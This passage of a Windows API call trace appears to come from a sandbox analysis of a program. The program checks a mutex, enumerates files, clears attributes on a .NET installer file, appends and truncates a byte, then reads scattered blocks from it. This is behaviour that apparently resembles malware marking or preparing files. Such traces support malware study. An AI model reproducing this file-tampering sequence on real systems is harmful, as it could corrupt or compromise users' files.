(hMem=0x3f4000c) returned 0 [0266.446] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40014 [0266.446] GlobalUnlock (hMem=0x3f40014) returned 0 [0266.446] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0266.446] CharLowerBuffW (in: lpsz="netfx_Extended.mzz", cchLength=0x12 | out: lpsz="netfx_extended.mzz") returned 0x12 [0266.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="më\x19", lpUsedDefaultChar=0x0) returned 1 [0266.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="në\x19", lpUsedDefaultChar=0x0) returned 1 [0266.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="të\x19", lpUsedDefaultChar=0x0) returned 1 [0266.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="të\x19", lpUsedDefaultChar=0x0) returned 1 [0266.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="në\x19", lpUsedDefaultChar=0x0) returned 1 [0266.447] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19db18, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0266.447] CharLowerBuffW (in: lpsz=".mzz", cchLength=0x4 | out: lpsz=".mzz") returned 0x4 [0266.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mzz", cchWideChar=4, lpMultiByteStr=0x19db18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".mzzw", lpUsedDefaultChar=0x0) returned 4 [0266.447] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0266.447] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0266.447] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0266.447] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0266.447] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0266.447] GlobalUnlock (hMem=0x3f40014) returned 0 [0266.447] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0266.447] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0266.447] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0266.447] GlobalUnlock (hMem=0x3f40014) returned 0 [0266.448] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0266.665] GlobalUnlock (hMem=0x3f4000c) returned 0 [0266.665] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0266.665] CharLowerBuffW (in: lpsz="netfx_Extended_x64.msi", cchLength=0x16 | out: lpsz="netfx_extended_x64.msi") returned 0x16 [0266.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ië\x19", lpUsedDefaultChar=0x0) returned 1 [0266.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0266.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="më\x19", lpUsedDefaultChar=0x0) returned 1 [0266.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4ë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="në\x19", lpUsedDefaultChar=0x0) returned 1 [0266.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="të\x19", lpUsedDefaultChar=0x0) returned 1 [0266.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="të\x19", lpUsedDefaultChar=0x0) returned 1 [0266.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="në\x19", lpUsedDefaultChar=0x0) returned 1 [0266.666] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19db18, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0266.666] CharLowerBuffW (in: lpsz=".msi", cchLength=0x4 | out: lpsz=".msi") returned 0x4 [0266.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".msi", cchWideChar=4, lpMultiByteStr=0x19db18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".msi.msit", lpUsedDefaultChar=0x0) returned 4 [0266.666] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi", lpFindFileData=0x19e8b8 | out: lpFindFileData=0x19e8b8) returned 0x6da1d0 [0266.669] FileTimeToLocalFileTime (in: lpFileTime=0x19e8cc, lpLocalFileTime=0x19e7d8 | out: lpLocalFileTime=0x19e7d8) returned 1 [0266.669] FileTimeToDosDateTime (in: lpFileTime=0x19e7d8, lpFatDate=0x19e89a, lpFatTime=0x19e898 | out: lpFatDate=0x19e89a, lpFatTime=0x19e898) returned 1 [0266.669] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0266.669] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi", dwFileAttributes=0x20) returned 1 [0266.670] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0266.670] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0266.670] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0xd5000 [0266.670] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0266.671] SetFilePointer (in: hFile=0x35c, lDistanceToMove=872448, lpDistanceToMoveHigh=0x19e7d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7d0*=0) returned 0xd5000 [0266.671] WriteFile (in: hFile=0x35c, lpBuffer=0x3f31c38*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c38*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0266.671] CloseHandle (hObject=0x35c) returned 1 [0266.723] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0266.732] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0266.732] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0xd5001 [0266.732] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0266.732] SetFilePointer (in: hFile=0x35c, lDistanceToMove=872448, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0xd5000 [0266.733] SetEndOfFile (hFile=0x35c) returned 1 [0266.734] CloseHandle (hObject=0x35c) returned 1 [0266.734] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0266.734] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0266.734] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0xd5000 [0266.734] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0266.735] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0266.735] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x0 [0266.735] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.735] SetFilePointer (in: hFile=0x35c, lDistanceToMove=43410, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xa992 [0266.735] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.735] SetFilePointer (in: hFile=0x35c, lDistanceToMove=92085, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x167b5 [0266.735] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.735] SetFilePointer (in: hFile=0x35c, lDistanceToMove=120281, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1d5d9 [0266.735] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.735] SetFilePointer (in: hFile=0x35c, lDistanceToMove=135000, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x20f58 [0266.735] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.736] SetFilePointer (in: hFile=0x35c, lDistanceToMove=180307, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x2c053 [0266.736] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.736] SetFilePointer (in: hFile=0x35c, lDistanceToMove=221935, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x362ef [0266.736] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.736] SetFilePointer (in: hFile=0x35c, lDistanceToMove=247193, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x3c599 [0266.736] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.736] SetFilePointer (in: hFile=0x35c, lDistanceToMove=288035, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x46523 [0266.736] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.736] SetFilePointer (in: hFile=0x35c, lDistanceToMove=307608, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x4b198 [0266.736] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.736] SetFilePointer (in: hFile=0x35c, lDistanceToMove=355519, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x56cbf [0266.736] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.736] SetFilePointer (in: hFile=0x35c, lDistanceToMove=381891, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x5d3c3 [0266.736] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.736] SetFilePointer (in: hFile=0x35c, lDistanceToMove=413779, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x65053 [0266.736] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.736] SetFilePointer (in: hFile=0x35c, lDistanceToMove=448325, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x6d745 [0266.737] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.737] SetFilePointer (in: hFile=0x35c, lDistanceToMove=481714, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x759b2 [0266.737] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.737] SetFilePointer (in: hFile=0x35c, lDistanceToMove=514108, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x7d83c [0266.737] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.737] SetFilePointer (in: hFile=0x35c, lDistanceToMove=554922, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x877aa [0266.737] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.737] SetFilePointer (in: hFile=0x35c, lDistanceToMove=581089, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x8dde1 [0266.737] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.737] SetFilePointer (in: hFile=0x35c, lDistanceToMove=605667, lpDistanceToMoveHigh=0x19e7c4*=0, 